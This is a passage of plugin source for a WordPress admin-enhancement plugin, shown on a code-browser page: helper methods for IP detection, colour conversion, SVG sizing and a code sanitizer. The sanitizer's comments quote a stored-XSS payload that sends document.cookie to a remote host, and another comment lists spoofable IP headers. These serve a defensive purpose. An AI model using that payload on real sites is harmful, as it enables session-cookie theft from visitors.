PluginProbe ʕ •ᴥ•ʔ
Admin and Site Enhancements (ASE) / 8.6.2
Admin and Site Enhancements (ASE) v8.6.2
9.1.0 9.0.2 9.0.1 9.0.0 8.9.2 8.9.1 8.9.0 8.8.8 8.8.7 8.8.6 8.8.5 8.8.4 8.8.3 8.8.2 8.8.1 8.8.0 8.7.3 8.7.2 8.7.1 8.2.1 8.2.2 8.2.3 8.3.0 8.3.1 8.3.2 8.4.0 8.4.1 8.4.2 8.5.0 8.5.1 8.5.2 8.6.0 8.6.1 8.6.2 8.7.0 5.0.1 5.0.2 5.0.2.1 5.0.2.2 5.0.2.3 5.0.2.4 5.1.0 5.2.0 5.2.1 5.2.10 5.2.11 5.2.2 5.2.3 5.2.4 5.2.5 5.2.6 5.2.7 5.2.8 5.2.9 5.3.0 5.3.1 5.3.2 5.4.0 5.4.1 5.5.0 5.5.1 5.5.2 5.6.0 5.6.1 5.6.2 5.7.0 5.7.1 5.8.0 5.8.1 6.0.0 6.0.3 6.0.4 6.0.5 6.0.5.1 6.0.6 6.0.7 6.0.8.1 6.1.0 6.1.3 6.2.0 6.2.1 6.2.2 6.2.3 6.2.4 6.2.5 6.2.6 6.2.7 6.3.0 6.3.1 6.3.2 6.4.0 6.5.0 6.5.1 6.6.0 6.7.0 6.8.0 6.8.2 6.8.3 6.9.0 6.9.1 6.9.10 6.9.11 6.9.12 6.9.13.1 6.9.13.2 6.9.2 6.9.3 6.9.4 6.9.5 6.9.6 6.9.7 6.9.8 6.9.9 7.0.0 7.0.2 7.0.2.1 7.0.2.2 7.0.2.3 7.0.3 7.1.0 7.1.1 7.1.2 7.1.3 7.1.4 7.1.5 7.2.0 7.2.1 7.3.0 7.3.1 7.3.2 7.3.3 7.4.0 7.4.2 7.4.4 7.4.5 7.4.6 7.4.7 7.4.8 7.5.0 7.5.1 7.5.2 7.5.3 7.5.4 7.6.0 7.6.1 7.6.1.1 7.6.10 7.6.11 7.6.2 7.6.3 7.6.4 7.6.5 7.6.6 7.6.7 7.6.7.1 7.6.8 7.6.9 7.7.0 7.8.0 7.8.1 7.8.10 7.8.11 7.8.12 7.8.13 7.8.14 7.8.15 7.8.16 7.8.17 7.8.18 7.8.2 7.8.3 7.8.4 7.8.5 7.8.5.1 7.8.6 7.8.7 7.8.8 7.8.9 7.9.0 7.9.1 7.9.10 7.9.11 7.9.2 7.9.3 7.9.4 7.9.5 7.9.6 7.9.7 7.9.8 7.9.9 8.0.0 8.0.1 8.0.2 8.0.3 8.0.4 8.0.5 8.0.6 8.0.7 8.0.8 8.1.0 8.1.1 8.1.2 8.1.3 8.1.4 8.2.0 trunk 1.0.0 1.1.0 1.2.0 1.3.0 1.4.0 1.5.0 1.6.0 1.7.0 1.8.0 1.9.0 2.0.0 2.1.0 2.2.0 2.3.0 2.4.0 2.5.0 2.6.0 2.7.0 2.8.0 2.8.1 2.8.2 2.8.3 2.9.0 3.0.0 3.0.1 3.0.2 3.0.3 3.0.4 3.0.5 3.0.6 3.1.0 3.2.0 3.3.0 3.4.0 3.5.0 3.6.1 3.7.0 3.8.0 3.9.0 3.9.1 3.9.2 4.0.0 4.0.1 4.1.0 4.2.0 4.2.1 4.2.2 4.3.0 4.3.1 4.4.0 4.5.0 4.6.0 4.7.0 4.7.1 4.7.2 4.7.3 4.7.4 4.8.0 4.8.1 4.8.2 4.8.3 4.9.0 4.9.1 4.9.2 4.9.3 5.0.0
admin-site-enhancements / classes / class-common-methods.php
admin-site-enhancements / classes Last commit date
class-activation.php 4 months ago class-admin-menu-organizer.php 4 months ago class-admin-menu-svg-icon-mask.php 4 months ago class-auto-publish-posts-with-missed-schedule.php 4 months ago class-avif-upload.php 4 months ago class-captcha-protection.php 4 months ago class-change-login-url.php 4 months ago class-cleanup-admin-bar.php 4 months ago class-common-methods.php 4 months ago class-content-duplication.php 4 months ago class-content-order.php 4 months ago class-custom-admin-footer-text.php 4 months ago class-custom-body-class.php 4 months ago class-custom-css.php 4 months ago class-custom-nav-menu-items-in-new-tab.php 4 months ago class-deactivation.php 4 months ago class-disable-author-archives.php 4 months ago class-disable-comments.php 4 months ago class-disable-dashboard-widgets.php 4 months ago class-disable-embeds.php 4 months ago class-disable-feeds.php 4 months ago class-disable-gutenberg.php 4 months ago class-disable-rest-api.php 4 months ago class-disable-smaller-components.php 4 months ago class-disable-updates.php 4 months ago class-disable-xml-rpc.php 4 months ago class-display-system-summary.php 4 months ago class-email-address-obfuscator.php 4 months ago class-email-delivery.php 4 months ago class-enhance-list-tables.php 4 months ago class-external-permalinks.php 4 months ago class-heartbeat-control.php 4 months ago class-hide-admin-bar.php 4 months ago class-hide-admin-notices.php 4 months ago class-image-sizes-panel.php 4 months ago class-image-upload-control.php 4 months ago class-insert-head-body-footer-code.php 4 months ago class-last-login-column.php 4 months ago class-limit-login-attempts.php 4 months ago class-login-id-type.php 4 months ago class-login-logout-menu.php 4 months ago class-maintenance-mode.php 4 months ago class-manage-ads-appads-txt.php 4 months ago class-manage-robots-txt.php 4 months ago class-media-files-visibility-control.php 4 months ago class-media-replacement.php 4 months ago class-multiple-user-roles.php 4 months ago class-obfuscate-author-slugs.php 4 months ago class-open-external-links-in-new-tab.php 4 months ago class-password-protection.php 4 months ago class-redirect-after-login.php 4 months ago class-redirect-after-logout.php 4 months ago class-redirect-fourofour.php 4 months ago class-registration-date-column.php 4 months ago class-revisions-control.php 4 months ago class-search-engines-visibility.php 4 months ago class-settings-fields-render.php 4 months ago class-settings-sanitization.php 4 months ago class-settings-sections-fields.php 4 months ago class-show-custom-taxonomy-filters.php 4 months ago class-site-identity-on-login-page.php 4 months ago class-svg-upload.php 4 months ago class-various-admin-ui-enhancements.php 4 months ago class-view-admin-as-role.php 4 months ago class-wider-admin-menu.php 4 months ago class-wp-config-transformer.php 4 months ago
class-common-methods.php
817 lines
1 <?php
2
3 namespace ASENHA\Classes;
4
5 use WP_Query;
6 /**
7 * Class that provides common methods used throughout the plugin
8 *
9 * @since 2.5.0
10 */
11 class Common_Methods {
12 /**
13 * Get IP of the current visitor/user. In use by at least the Limit Login Attempts feature.
14 * This takes a best guess of the visitor's actual IP address.
15 * Takes into account numerous HTTP proxy headers due to variations
16 * in how different ISPs handle IP addresses in headers between hops.
17 *
18 * @link https://stackoverflow.com/q/1634782
19 * @since 2.5.0
20 */
21 public function get_user_ip_address( $return_type = 'ip', $for_which_module = 'limit-login-attempts' ) {
22 $options = get_option( ASENHA_SLUG_U, array() );
23 $ip_address_header = '';
24 switch ( $for_which_module ) {
25 case 'limit-login-attempts':
26 $ip_address_header = ( isset( $options['limit_login_attempts_header_override'] ) ? trim( $options['limit_login_attempts_header_override'] ) : '' );
27 break;
28 case 'password-protection':
29 $ip_address_header = ( isset( $options['password_protection_header_override'] ) ? trim( $options['password_protection_header_override'] ) : '' );
30 break;
31 }
32 // Attempt to get IP address with the preferred header
33 if ( !empty( $ip_address_header ) && isset( $_SERVER[$ip_address_header] ) ) {
34 // Check if multiple IP addresses exist in var
35 $ip_list = explode( ',', $_SERVER[$ip_address_header] );
36 if ( is_array( $ip_list ) && count( $ip_list ) > 1 ) {
37 foreach ( $ip_list as $ip ) {
38 switch ( $return_type ) {
39 case 'ip':
40 if ( $this->is_ip_valid( trim( $ip ) ) ) {
41 return sanitize_text_field( trim( $ip ) );
42 } else {
43 return '0.0.0.0';
44 // placeholder IP address
45 }
46 break;
47 case 'header':
48 return $ip_address_header . ' (multiple IP addresses)';
49 break;
50 }
51 }
52 } else {
53 switch ( $return_type ) {
54 case 'ip':
55 if ( $this->is_ip_valid( trim( $_SERVER[$ip_address_header] ) ) ) {
56 return sanitize_text_field( $_SERVER[$ip_address_header] );
57 } else {
58 return '0.0.0.0';
59 // placeholder IP address
60 }
61 break;
62 case 'header':
63 return $ip_address_header;
64 break;
65 }
66 }
67 }
68 // The following request headers can be modified by user or attacker when sending a request, so, will bypass an already blocked IP
69 // 'HTTP_CLIENT_IP', 'CF_CONNECTING_IP', 'HTTP_CF_CONNECTING_IP', 'HTTP_CF_CONNECTING_IP', 'TRUE_CLIENT_IP', 'HTTP_TRUE_CLIENT_IP', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED'
70 // Reported as security vulnerability in ASE <= v7.6.7.1 -- Limit Login Attempt Bypass via IP Spoofing
71 // Return unreliable but unspoofable IP address coming from the $_SERVER global as the default / fallback
72 switch ( $return_type ) {
73 case 'ip':
74 if ( $this->is_ip_valid( trim( $_SERVER['REMOTE_ADDR'] ) ) ) {
75 return sanitize_text_field( $_SERVER['REMOTE_ADDR'] );
76 } else {
77 return '0.0.0.0';
78 // placeholder IP address
79 }
80 break;
81 case 'header':
82 return 'REMOTE_ADDR';
83 break;
84 }
85 }
86
87 /**
88 * Check if the supplied IP address is valid or not
89 *
90 * @param string $ip an IP address
91 * @link https://stackoverflow.com/q/1634782
92 * @return boolean true if supplied address is valid IP, and false otherwise
93 */
94 public function is_ip_valid( $ip ) {
95 if ( empty( $ip ) ) {
96 return false;
97 }
98 // Ref: https://www.php.net/manual/en/filter.filters.validate.php
99 // Ref: https://www.php.net/manual/en/filter.constants.php#constant.filter-validate-ip
100 // No need to specify which IP type to filter/check, e.g. filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 )
101 // This should check for both IPv4 and IPv6 addresses
102 if ( false === filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) && false === filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) {
103 return false;
104 }
105 if ( false !== filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) || false !== filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) {
106 return true;
107 }
108 }
109
110 /**
111 * Convert number of seconds into hours, minutes, seconds. In use by at least the Limit Login Attempts feature.
112 *
113 * @since 2.5.0
114 */
115 public function seconds_to_period( $seconds, $conversion_type ) {
116 $period_start = new \DateTime('@0');
117 $period_end = new \DateTime("@{$seconds}");
118 if ( $conversion_type == 'to-days-hours-minutes-seconds' ) {
119 return $period_start->diff( $period_end )->format( '%a days, %h hours, %i minutes and %s seconds' );
120 } elseif ( $conversion_type == 'to-hours-minutes-seconds' ) {
121 return $period_start->diff( $period_end )->format( '%h hours, %i minutes and %s seconds' );
122 } elseif ( $conversion_type == 'to-minutes-seconds' ) {
123 return $period_start->diff( $period_end )->format( '%i minutes and %s seconds' );
124 } else {
125 return $period_start->diff( $period_end )->format( '%a days, %h hours, %i minutes and %s seconds' );
126 }
127 }
128
129 /**
130 * Remove html tags and content inside the tags from a string
131 *
132 * @since 3.0.3
133 */
134 public function strip_html_tags_and_content( $string ) {
135 // Strip HTML tags and content inside them. Ref: https://stackoverflow.com/a/39320168
136 if ( !is_null( $string ) ) {
137 if ( false === strpos( $string, 'fs-submenu-item' ) ) {
138 $string = preg_replace( '@<(\\w+)\\b.*?>.*?</\\1>@si', '', $string );
139 }
140 // Strip any remaining HTML or PHP tags
141 $string = strip_tags( $string );
142 }
143 return $string;
144 }
145
146 /**
147 * Extract readable text from a string that may contain HTML.
148 *
149 * Unlike strip_html_tags_and_content(), this method keeps the text inside tags,
150 * e.g. it will turn `<span><img ...>Paymattic</span>` into `Paymattic`.
151 *
152 * @since 8.0.2
153 *
154 * @param string|null $html A string that may contain HTML.
155 * @return string Readable plain text (may be empty).
156 */
157 public function extract_readable_text_from_html( $html ) {
158 if ( null === $html ) {
159 return '';
160 }
161 $text = wp_strip_all_tags( (string) $html, true );
162 $charset = get_bloginfo( 'charset' );
163 if ( empty( $charset ) ) {
164 $charset = 'UTF-8';
165 }
166 $text = html_entity_decode( $text, ENT_QUOTES, $charset );
167 $text = preg_replace( '/\\s+/u', ' ', $text );
168 return trim( $text );
169 }
170
171 /**
172 * Get menu hidden by toggle
173 *
174 * @since 5.1.0
175 */
176 public function get_menu_hidden_by_toggle() {
177 $menu_hidden_by_toggle = array();
178 $options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
179 $options = ( isset( $options_extra['admin_menu'] ) ? $options_extra['admin_menu'] : array() );
180 if ( array_key_exists( 'custom_menu_hidden', $options ) ) {
181 $menu_hidden = $options['custom_menu_hidden'];
182 $menu_hidden = explode( ',', $menu_hidden );
183 $menu_hidden_by_toggle = array();
184 foreach ( $menu_hidden as $menu_id ) {
185 $menu_hidden_by_toggle[] = $this->restore_menu_item_id( $menu_id );
186 }
187 }
188 return $menu_hidden_by_toggle;
189 }
190
191 /**
192 * Get user capabilities for which the "Show All/Less" menu toggle should be shown for
193 *
194 * @since 5.1.0
195 */
196 public function get_user_capabilities_to_show_menu_toggle_for() {
197 global $menu, $submenu;
198 $menu_always_hidden = array();
199 $user_capabilities_menus_are_hidden_for = array();
200 $menu_hidden_by_toggle = $this->get_menu_hidden_by_toggle();
201 // indexed array
202 foreach ( $menu as $menu_key => $menu_info ) {
203 foreach ( $menu_hidden_by_toggle as $hidden_menu_id ) {
204 if ( false !== strpos( $menu_info[4], 'wp-menu-separator' ) ) {
205 $menu_item_id = $menu_info[2];
206 } else {
207 $menu_item_id = $menu_info[5];
208 }
209 if ( $menu_item_id == $hidden_menu_id ) {
210 $user_capabilities_menus_are_hidden_for[] = $menu_info[1];
211 }
212 }
213 }
214 $user_capabilities_menus_are_hidden_for = array_unique( $user_capabilities_menus_are_hidden_for );
215 return $user_capabilities_menus_are_hidden_for;
216 // indexed array
217 }
218
219 /**
220 * Transform menu item's ID
221 *
222 * @since 5.1.0
223 */
224 public function transform_menu_item_id( $menu_item_id ) {
225 // Transform e.g. edit.php?post_type=page ==> edit__php___post_type____page
226 $menu_item_id_transformed = str_replace( array(
227 ".",
228 "?",
229 "=/",
230 "=",
231 "&",
232 "/",
233 ";"
234 ), array(
235 "__",
236 "___",
237 "_______",
238 "____",
239 "_____",
240 "______",
241 "________"
242 ), $menu_item_id );
243 return $menu_item_id_transformed;
244 }
245
246 /**
247 * Transform menu item's ID
248 *
249 * @since 5.1.0
250 */
251 public function restore_menu_item_id( $menu_item_id_transformed ) {
252 // Transform e.g. edit__php___post_type____page ==> edit.php?post_type=page
253 $menu_item_id = str_replace( array(
254 "________",
255 "_______",
256 "______",
257 "_____",
258 "____",
259 "___",
260 "__"
261 ), array(
262 ";",
263 "=/",
264 "/",
265 "&",
266 "=",
267 "?",
268 "."
269 ), $menu_item_id_transformed );
270 return $menu_item_id;
271 }
272
273 /**
274 * Sanitize hexedecimal numbers used for colors
275 *
276 * @link https://plugins.trac.wordpress.org/browser/bm-custom-login/trunk/bm-custom-login.php
277 * @param string $color Hex number to sanitize.
278 * @return string
279 */
280 public function sanitize_hex_color( $color ) {
281 if ( '' === $color ) {
282 return '';
283 }
284 // Make sure the color starts with a hash.
285 $color = '#' . ltrim( $color, '#' );
286 // 3 or 6 hex digits, or the empty string.
287 if ( preg_match( '|^#([A-Fa-f0-9]{3}){1,2}$|', $color ) ) {
288 return $color;
289 }
290 return null;
291 }
292
293 /**
294 * Get the post ID of the most recent post in a custom post type
295 *
296 * @since 6.4.1
297 */
298 public function get_most_recent_post_id( $post_type ) {
299 $args = array(
300 'post_type' => $post_type,
301 'posts_per_page' => 1,
302 'orderby' => 'date',
303 'order' => 'DESC',
304 );
305 $query = new WP_Query($args);
306 if ( $query->have_posts() ) {
307 $query->the_post();
308 $post_id = get_the_ID();
309 wp_reset_postdata();
310 return $post_id;
311 }
312 return 0;
313 // Return 0 if no posts found
314 }
315
316 /**
317 * Extended ruleset for wp_kses() that includes SVG tag and it's children
318 *
319 * @since 6.8.3
320 */
321 public function get_kses_extended_ruleset() {
322 $kses_defaults = wp_kses_allowed_html( 'post' );
323 // For SVG icons
324 $svg_args = array(
325 'svg' => array(
326 'class' => true,
327 'aria-hidden' => true,
328 'aria-labelledby' => true,
329 'role' => true,
330 'xmlns' => true,
331 'width' => true,
332 'height' => true,
333 'viewbox' => true,
334 'viewBox' => true,
335 ),
336 'g' => array(
337 'fill' => true,
338 'fill-rule' => true,
339 'stroke' => true,
340 'stroke-width' => true,
341 'stroke-linejoin' => true,
342 'stroke-linecap' => true,
343 ),
344 'title' => array(
345 'title' => true,
346 ),
347 'path' => array(
348 'd' => true,
349 'fill' => true,
350 'stroke' => true,
351 'stroke-width' => true,
352 'stroke-linejoin' => true,
353 'stroke-linecap' => true,
354 ),
355 'rect' => array(
356 'width' => true,
357 'height' => true,
358 'x' => true,
359 'y' => true,
360 'rx' => true,
361 'ry' => true,
362 'fill' => true,
363 'stroke' => true,
364 'stroke-width' => true,
365 'stroke-linejoin' => true,
366 'stroke-linecap' => true,
367 ),
368 'circle' => array(
369 'cx' => true,
370 'cy' => true,
371 'r' => true,
372 'stroke' => true,
373 'stroke-width' => true,
374 'stroke-linejoin' => true,
375 'stroke-linecap' => true,
376 ),
377 );
378 $kses_with_extras = array_merge( $kses_defaults, $svg_args );
379 // For embedded PDF viewer
380 $style_script_args = array(
381 'style' => true,
382 'script' => array(
383 'src' => true,
384 ),
385 );
386 return array_merge( $kses_with_extras, $style_script_args );
387 }
388
389 /**
390 * Get the singular label from a $post object
391 *
392 * @since 6.9.3
393 */
394 function get_post_type_singular_label( $post ) {
395 $post_type_singular_label = '';
396 if ( property_exists( $post, 'post_type' ) ) {
397 $post_type_object = get_post_type_object( $post->post_type );
398 if ( is_object( $post_type_object ) && property_exists( $post_type_object, 'label' ) ) {
399 $post_type_singular_label = $post_type_object->labels->singular_name;
400 }
401 }
402 return $post_type_singular_label;
403 }
404
405 function is_in_block_editor() {
406 $current_screen = get_current_screen();
407 if ( method_exists( $current_screen, 'is_block_editor' ) && $current_screen->is_block_editor() ) {
408 return true;
409 } else {
410 return false;
411 }
412 }
413
414 /**
415 * Check if WooCommerce is active
416 *
417 * @since 6.9.9
418 */
419 public function is_woocommerce_active() {
420 if ( function_exists( 'is_plugin_active' ) && is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
421 return true;
422 } else {
423 return false;
424 }
425 }
426
427 /**
428 * Convert HEX color to RGBA
429 *
430 * @link https://stackoverflow.com/a/31934345
431 * @since 7.0.0
432 */
433 public function hex_to_rgba( $hex, $alpha = false ) {
434 $hex = str_replace( '#', '', trim( $hex ) );
435 $length = strlen( $hex );
436 $rgb['r'] = hexdec( ( $length == 6 ? substr( $hex, 0, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 0, 1 ), 2 ) : 0 )) ) );
437 $rgb['g'] = hexdec( ( $length == 6 ? substr( $hex, 2, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 1, 1 ), 2 ) : 0 )) ) );
438 $rgb['b'] = hexdec( ( $length == 6 ? substr( $hex, 4, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 2, 1 ), 2 ) : 0 )) ) );
439 if ( false !== $alpha ) {
440 $rgb['a'] = $alpha;
441 }
442 // Return array of r, g, b and a
443 // return $rgb;
444 // Return rgb(255,255,255) or rgba(255,255,255,.5)
445 return implode( array_keys( $rgb ) ) . '(' . implode( ', ', $rgb ) . ')';
446 }
447
448 /**
449 * Increases or decreases the brightness of a color by a percentage of the current brightness.
450 *
451 * @param string $hex Supported formats: `#FFF`, `#FFFFFF`, `FFF`, `FFFFFF`
452 * @param float $adjustment_percentage A number between -1 and 1. E.g. 0.3 = 30% lighter; -0.4 = 40% darker.
453 *
454 * @return string
455 *
456 * @link https://stackoverflow.com/a/54393956
457 * @author maliayas
458 */
459 function adjust_bnrightness( $hex, $adjustment_percentage ) {
460 $hex = ltrim( $hex, '#' );
461 if ( strlen( $hex ) == 3 ) {
462 $hex = $hex[0] . $hex[0] . $hex[1] . $hex[1] . $hex[2] . $hex[2];
463 }
464 $hex = array_map( 'hexdec', str_split( $hex, 2 ) );
465 foreach ( $hex as &$color ) {
466 $adjustableLimit = ( $adjustment_percentage < 0 ? $color : 255 - $color );
467 $adjustAmount = ceil( $adjustableLimit * $adjustment_percentage );
468 $color = str_pad(
469 dechex( $color + $adjustAmount ),
470 2,
471 '0',
472 STR_PAD_LEFT
473 );
474 }
475 return '#' . implode( $hex );
476 }
477
478 /**
479 * Detect if a color is light or dark
480 *
481 * @link https://stackoverflow.com/a/12228730
482 * @since 7.0.0
483 */
484 public function is_color_dark( $hex ) {
485 $hex = str_replace( '#', '', trim( $hex ) );
486 $r = hexdec( $hex[0] . $hex[1] );
487 $g = hexdec( $hex[2] . $hex[3] );
488 $b = hexdec( $hex[4] . $hex[5] );
489 $lightness = (max( $r, $g, $b ) + min( $r, $g, $b )) / 510.0;
490 // HSL algorithm
491 if ( $lightness > 0.8 ) {
492 return false;
493 } else {
494 return true;
495 }
496 }
497
498 /**
499 * Return SVG for small triangle in place of using &#9654; HTMl character
500 * which may be converted to emoticon by the browser or app
501 *
502 * @since 7.2.0
503 */
504 public function get_svg_triangle() {
505 return '<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10" viewBox="0 0 16 16"><path fill="currentColor" d="M14.222 6.687a1.5 1.5 0 0 1 0 2.629l-10 5.499A1.5 1.5 0 0 1 2 13.5V2.502a1.5 1.5 0 0 1 2.223-1.314z"/></svg>';
506 }
507
508 /**
509 * Get intrinsic width/height dimensions from a local SVG file.
510 *
511 * Some SVGs use percentage width/height attributes (e.g. width="100%" height="100%").
512 * In those cases, a correct aspect ratio should be derived from the viewBox instead.
513 *
514 * @since 9.2.0
515 *
516 * @param string $svg_path Absolute path to a local SVG file.
517 * @return array{width:int,height:int} Intrinsic dimensions if known, otherwise 0/0.
518 */
519 public function get_svg_intrinsic_dimensions_from_file( $svg_path ) {
520 $dims = array(
521 'width' => 0,
522 'height' => 0,
523 );
524 $svg_path = (string) $svg_path;
525 if ( '' === $svg_path ) {
526 return $dims;
527 }
528 $ext = strtolower( (string) pathinfo( $svg_path, PATHINFO_EXTENSION ) );
529 if ( 'svg' !== $ext ) {
530 return $dims;
531 }
532 if ( !file_exists( $svg_path ) ) {
533 return $dims;
534 }
535 // Safely parse SVG XML without allowing network access.
536 $prev_internal_errors = libxml_use_internal_errors( true );
537 $svg = simplexml_load_file( $svg_path, 'SimpleXMLElement', LIBXML_NONET | LIBXML_NOCDATA );
538 libxml_clear_errors();
539 libxml_use_internal_errors( $prev_internal_errors );
540 if ( false === $svg ) {
541 return $dims;
542 }
543 $attributes = $svg->attributes();
544 $width_raw = ( isset( $attributes->width ) ? trim( (string) $attributes->width ) : '' );
545 $height_raw = ( isset( $attributes->height ) ? trim( (string) $attributes->height ) : '' );
546 $view_box = ( isset( $attributes->viewBox ) ? trim( (string) $attributes->viewBox ) : '' );
547 $length_dims = $this->parse_svg_width_height_pair( $width_raw, $height_raw );
548 if ( $length_dims['width'] > 0 && $length_dims['height'] > 0 ) {
549 return $length_dims;
550 }
551 $vb_dims = $this->parse_svg_viewbox_dimensions( $view_box );
552 if ( $vb_dims['width'] > 0 && $vb_dims['height'] > 0 ) {
553 return $vb_dims;
554 }
555 return $dims;
556 }
557
558 /**
559 * Parse SVG width/height attributes when both values are absolute lengths.
560 *
561 * If either value is percentage-based (contains "%") or otherwise not parseable as an
562 * absolute length, return 0/0 so callers can fall back to viewBox.
563 *
564 * @since 9.2.0
565 *
566 * @param string $width_raw Raw `width` attribute value.
567 * @param string $height_raw Raw `height` attribute value.
568 * @return array{width:int,height:int}
569 */
570 private function parse_svg_width_height_pair( $width_raw, $height_raw ) {
571 $dims = array(
572 'width' => 0,
573 'height' => 0,
574 );
575 $width_raw = (string) $width_raw;
576 $height_raw = (string) $height_raw;
577 if ( '' === $width_raw || '' === $height_raw ) {
578 return $dims;
579 }
580 // Percentage sizes are not intrinsic dimensions.
581 if ( false !== strpos( $width_raw, '%' ) || false !== strpos( $height_raw, '%' ) ) {
582 return $dims;
583 }
584 $width_parsed = $this->parse_svg_absolute_length_value( $width_raw );
585 $height_parsed = $this->parse_svg_absolute_length_value( $height_raw );
586 if ( empty( $width_parsed['value'] ) || empty( $height_parsed['value'] ) ) {
587 return $dims;
588 }
589 // Require matching units (treat empty as px) to avoid having to convert.
590 $width_unit = ( isset( $width_parsed['unit'] ) ? (string) $width_parsed['unit'] : '' );
591 $height_unit = ( isset( $height_parsed['unit'] ) ? (string) $height_parsed['unit'] : '' );
592 if ( $width_unit !== $height_unit ) {
593 return $dims;
594 }
595 $w = (float) $width_parsed['value'];
596 $h = (float) $height_parsed['value'];
597 if ( $w <= 0 || $h <= 0 ) {
598 return $dims;
599 }
600 $dims['width'] = (int) round( $w );
601 $dims['height'] = (int) round( $h );
602 return $dims;
603 }
604
605 /**
606 * Parse SVG viewBox dimensions.
607 *
608 * @since 9.2.0
609 *
610 * @param string $view_box Raw `viewBox` attribute value.
611 * @return array{width:int,height:int}
612 */
613 private function parse_svg_viewbox_dimensions( $view_box ) {
614 $dims = array(
615 'width' => 0,
616 'height' => 0,
617 );
618 $view_box = trim( (string) $view_box );
619 if ( '' === $view_box ) {
620 return $dims;
621 }
622 $parts = preg_split( '/[\\s,]+/', $view_box );
623 if ( !is_array( $parts ) ) {
624 return $dims;
625 }
626 $parts = array_values( array_filter( $parts, 'strlen' ) );
627 if ( count( $parts ) < 4 ) {
628 return $dims;
629 }
630 $vb_w = floatval( $parts[2] );
631 $vb_h = floatval( $parts[3] );
632 if ( $vb_w <= 0 || $vb_h <= 0 ) {
633 return $dims;
634 }
635 $dims['width'] = (int) round( $vb_w );
636 $dims['height'] = (int) round( $vb_h );
637 return $dims;
638 }
639
640 /**
641 * Parse an SVG length attribute as an absolute value and unit.
642 *
643 * Supports unitless values and common absolute units used in SVG. Percentage values
644 * are rejected earlier by the caller.
645 *
646 * @since 9.2.0
647 *
648 * @param string $raw Raw attribute value.
649 * @return array{value:float,unit:string}|array{} Empty array if not parseable.
650 */
651 private function parse_svg_absolute_length_value( $raw ) {
652 $raw = trim( (string) $raw );
653 if ( '' === $raw ) {
654 return array();
655 }
656 if ( !preg_match( '/^\\s*([0-9]*\\.?[0-9]+)\\s*(px|pt|pc|mm|cm|in|q)?\\s*$/i', $raw, $matches ) ) {
657 return array();
658 }
659 $value = floatval( $matches[1] );
660 if ( $value <= 0 ) {
661 return array();
662 }
663 $unit = ( isset( $matches[2] ) ? strtolower( (string) $matches[2] ) : '' );
664 // Normalize empty unit to px (SVG/CSS default).
665 if ( '' === $unit ) {
666 $unit = 'px';
667 }
668 return array(
669 'value' => $value,
670 'unit' => $unit,
671 );
672 }
673
674 /**
675 * Get an image URL from an ASE setting field, which could be an internal relative URL or an external URL
676 *
677 * @since 7.2.1
678 */
679 public function get_image_url( $ase_settings_field_name ) {
680 $options = get_option( ASENHA_SLUG_U, array() );
681 if ( isset( $options[$ase_settings_field_name] ) ) {
682 if ( false === strpos( $options[$ase_settings_field_name], 'http' ) && false !== strpos( $options[$ase_settings_field_name], '/uploads/' ) ) {
683 $logo_image = content_url() . $options[$ase_settings_field_name];
684 } else {
685 // $maybe_valid_url = filter_var( $options['admin_logo_image'], FILTER_SANITIZE_URL );
686 $maybe_valid_url = sanitize_url( $options[$ase_settings_field_name], array('http', 'https') );
687 if ( false !== filter_var( $maybe_valid_url, FILTER_VALIDATE_URL ) ) {
688 $logo_image = $maybe_valid_url;
689 } else {
690 $logo_image = '';
691 }
692 }
693 } else {
694 $logo_image = '';
695 }
696 return $logo_image;
697 }
698
699 /**
700 * Get current URL, without query parameters and without trailing slash
701 * e.g. https://www.site.com/some-page
702 *
703 * @return string
704 */
705 public function get_current_url() {
706 $output = '';
707 $url = (( is_ssl() ? 'https://' : 'http://' )) . sanitize_text_field( $_SERVER['HTTP_HOST'] ) . sanitize_text_field( $_SERVER['REQUEST_URI'] );
708 $url_parts = explode( '?', $url, 2 );
709 // limit to max of 2 elements with last element containing the rest of the string
710 if ( isset( $url_parts[0] ) ) {
711 $output = trim( $url_parts[0], '/' );
712 }
713 return ( $output ? urldecode( $output ) : '/' );
714 }
715
716 /**
717 * Get full URL, with query parameters
718 * e.g. https://www.site.com/some-page?param=value
719 *
720 * @link https://stackoverflow.com/a/6768831
721 * @since 7.8.18
722 */
723 public function get_full_url() {
724 $full_url = (( empty( $_SERVER['HTTPS'] ) ? 'http' : 'https' )) . "://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
725 return $full_url;
726 }
727
728 /**
729 * Get array of elements with value of true
730 *
731 * @since 7.6.10
732 */
733 public function get_array_of_keys_with_true_value( $array_with_true_false_values ) {
734 $array_of_keys_with_true_value = array();
735 if ( is_array( $array_with_true_false_values ) && count( $array_with_true_false_values ) > 0 ) {
736 foreach ( $array_with_true_false_values as $key => $value ) {
737 if ( $value ) {
738 $array_of_keys_with_true_value[] = $key;
739 }
740 }
741 return $array_of_keys_with_true_value;
742 } else {
743 return array();
744 // default, empty array
745 }
746 }
747
748 /**
749 * Sanitize user-submitted code from potential security vulnerabilities
750 *
751 * @since 7.8.7
752 */
753 public function sanitize_html_js_css_code( $code ) {
754 $code_lines = explode( PHP_EOL, $code );
755 $sanitized_code_lines = array();
756 foreach ( $code_lines as $code_line ) {
757 if ( false !== strpos( $code_line, 'src=' ) && false !== strpos( $code_line, 'document.cookie' ) ) {
758 // Do nothing. Do not include the code line in the sanitized code.
759 // Example of malicious code:
760 // 1. Stored XSS vulnerability: <script>new Image().src='http://10.5.7.89:8001/index.php?c='+document.cookie</script>
761 // This line of code will send cookies from users browser to a remote server for exploitation
762 } else {
763 if ( false !== strpos( $code_line, '<img' ) && false !== strpos( $code_line, 'src=' ) && false !== strpos( $code_line, 'onerror' ) ) {
764 // Do nothing. Do not include the code line in the sanitized code.
765 // Example of malicious code:
